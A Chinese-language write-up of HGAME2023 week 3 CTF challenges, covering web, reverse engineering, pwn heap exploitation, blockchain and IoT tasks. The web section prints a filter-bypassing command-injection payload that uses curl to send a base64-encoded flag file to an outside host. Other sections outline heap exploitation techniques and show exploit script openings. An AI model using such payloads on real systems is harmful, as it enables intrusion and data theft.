HGAME2023 week3 writeup
web
Gopher Shop
条件竞争,用BurpSuite的TurboIntruder插件并发请求,先买苹果,然后卖出,使苹果数量下溢,再卖很多苹果就能拿到flag需要的钱了。
Ping To The Host
命令注入,似乎过滤了空格和cat,tac,flag等字符串,payload:
1 | .&curl${IFS}test.zqy.ink/`nl${IFS}/fla*|base64` |
reverse
kunmusic
.NET程序,用dnspy逆,发现把程序资源中的data异或后作为程序集加载了,那就提取异或后再用dnspy逆,发现一堆约束方程,直接z3求解
1 | from Crypto.Util.number import * |
patchme
栈溢出漏洞+格式化字符串漏洞,patch如下
1 | .text:00000000000013E9 main proc near ; DATA XREF: start+21↑o |
cpp
动调,跟着几个虚函数看一下,发现一处在异或,一处在比较(长度和内容)。把加密后的flag和与输入内容异或的key都dump下来,用脚本异或一下就行。注意程序似乎把char合并成了uint32_t,需要考虑端序
1 | key=[0x4E, 0xA0, 0x37, 0x40, 0x46, 0x02, 0xDA, 0xFD, 0x21, 0xFA, 0x6E, 0x3C, 0xAF, 0xD9, 0x9C, 0xCF, 0xB9, 0x47, 0x33, 0x67, 0xE0, 0x4E, 0xEC, 0x0D, 0xD1, 0xC4, 0x80, 0x13, 0x32, 0xA9, 0xB2, 0x3A, 0xA7, 0x50, 0x5D, 0x02, 0x82, 0x39, 0x4A, 0x83] |
pwn
safe_note
Unsorted bin泄露libc base和heap base,Tcache poisoning劫持free hook。注意glibc-2.32中Tcache链表的next指针是PROTECT_PTR,需要异或一下。
1 | from pwn import * |
large_note
Unsorted bin泄露libc base, heap base,large bin attack攻击mp_.tcache_bins,使tcache对大堆块启用,然后tcache poisoning劫持free hook
1 | from pwn import * |
House of banana也能做,就是比较麻烦(写exp的时候思维有点乱,结构体也没用flat包装,有点丑)
1 | from pwn import * |
note_context
前面和上道题类似,不过因为ban了execve,要用orw,劫持free hook的时候换为一个舒服的gadget,虽然题目意思是用setcontext那个,不过我还是更喜欢栈迁移后ROP
1 | from pwn import * |
misc
Tunnel
非预期,直接strings里面就有flag
blockchain
薅羊毛攻击,绕isEOA判断直接把攻击代码写在constructor里,照抄ctf-wiki上的攻击合约就行
1 | contract Hacker { |
iot
another UNO
hex2bin后直接用ida逆,选avr series,atmega323_l,发现程序0x3d6位置似乎有digitalWrite的操作,将参数视作二进制得到flag的后面部分1s_Fun},前面实在逆不出了找了块arduino uno把程序烧进去了,9600波特率串口输出了中间部分的ascii码rduino_,前面hgame{A是猜的((